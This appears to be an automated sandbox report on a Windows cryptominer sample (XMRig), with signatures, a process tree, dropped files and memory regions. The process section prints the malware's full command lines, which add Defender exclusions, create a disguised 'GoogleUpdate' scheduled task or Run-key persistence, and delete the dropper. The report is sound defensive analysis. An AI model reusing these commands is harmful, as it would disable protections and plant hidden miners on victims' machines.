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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1782s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3404
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2984
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4936
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1228
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:5036
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:3244
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:2996
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1436
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:2084

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 677KB
                • SHA256 55bdea1df12a9d663e1edd10abc2bab4e131e0a66d0310c2d8c5ded78ec38b67
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 371KB
                • SHA256 a4343df034ed799a2187e42f462b75b7ecbccddd413321b8dfef3560033307b0
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 45af4e639b95cc4c290129f49fc14ae02507a6976c33125f4e9a851d0240b1de
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_uildkwut.tbs.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uildkwut.tbs.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/2160-117-0x00007FF6758E0000-0x00007FF675AF1000-memory.dmp

                memory/2160-52-0x00007FF6758E0000-0x00007FF675AF1000-memory.dmp

                memory/2180-75-0x000001947CEF0000-0x000001947CFA5000-memory.dmp

                memory/2180-73-0x000001947A9E0000-0x000001947A9F0000-memory.dmp

                memory/2180-79-0x000001947D160000-0x000001947D17A000-memory.dmp

                memory/2180-83-0x000001947A9E0000-0x000001947A9F0000-memory.dmp

                memory/2180-81-0x000001947D140000-0x000001947D146000-memory.dmp

                memory/2180-82-0x000001947D150000-0x000001947D15A000-memory.dmp

                memory/2180-80-0x000001947D110000-0x000001947D118000-memory.dmp

                memory/2180-77-0x000001947D120000-0x000001947D13C000-memory.dmp

                memory/2180-74-0x000001947CED0000-0x000001947CEEC000-memory.dmp

                memory/2180-76-0x000001947CFB0000-0x000001947CFBA000-memory.dmp

                memory/2180-78-0x000001947D100000-0x000001947D10A000-memory.dmp

                memory/2180-63-0x000001947A9E0000-0x000001947A9F0000-memory.dmp

                memory/2180-62-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/2180-86-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/2704-51-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/2704-37-0x0000024B2B480000-0x0000024B2B490000-memory.dmp

                memory/2704-40-0x0000024B2B480000-0x0000024B2B490000-memory.dmp

                memory/2704-36-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/2984-23-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/2984-31-0x000001B5FD6A0000-0x000001B5FD6B0000-memory.dmp

                memory/2984-30-0x000001B5FD6A0000-0x000001B5FD6B0000-memory.dmp

                memory/2984-29-0x000001B5FD6A0000-0x000001B5FD6B0000-memory.dmp

                memory/2984-33-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/3244-142-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-158-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-186-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-184-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-182-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-180-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-178-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-176-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-174-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-172-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-170-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-119-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-118-0x000001C7114E0000-0x000001C711500000-memory.dmp

                memory/3244-168-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-166-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-123-0x000001C711540000-0x000001C711560000-memory.dmp

                memory/3244-164-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-125-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-126-0x000001C721AF0000-0x000001C721B10000-memory.dmp

                memory/3244-127-0x000001C721B10000-0x000001C721B30000-memory.dmp

                memory/3244-129-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-130-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-162-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-132-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-133-0x000001C721AF0000-0x000001C721B10000-memory.dmp

                memory/3244-135-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-136-0x000001C721B10000-0x000001C721B30000-memory.dmp

                memory/3244-138-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-140-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-160-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-144-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-146-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-148-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-150-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-152-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-154-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3244-156-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp

                memory/3912-16-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/3912-13-0x0000027BEFE60000-0x0000027BEFE70000-memory.dmp

                memory/3912-1-0x0000027BF4350000-0x0000027BF4372000-memory.dmp

                memory/3912-11-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/3912-12-0x0000027BEFE60000-0x0000027BEFE70000-memory.dmp

                memory/4648-35-0x00007FF656460000-0x00007FF656671000-memory.dmp

                memory/4648-0-0x00007FF656460000-0x00007FF656671000-memory.dmp

                memory/4936-110-0x000001DDD3420000-0x000001DDD3430000-memory.dmp

                memory/4936-111-0x000001DDD3420000-0x000001DDD3430000-memory.dmp

                memory/4936-113-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/4936-98-0x00007FFB058B0000-0x00007FFB06371000-memory.dmp

                memory/4936-100-0x000001DDD3420000-0x000001DDD3430000-memory.dmp

                memory/4936-99-0x000001DDD3420000-0x000001DDD3430000-memory.dmp

                memory/5036-124-0x00007FF724650000-0x00007FF724666000-memory.dmp

                memory/5036-131-0x00007FF724650000-0x00007FF724666000-memory.dmp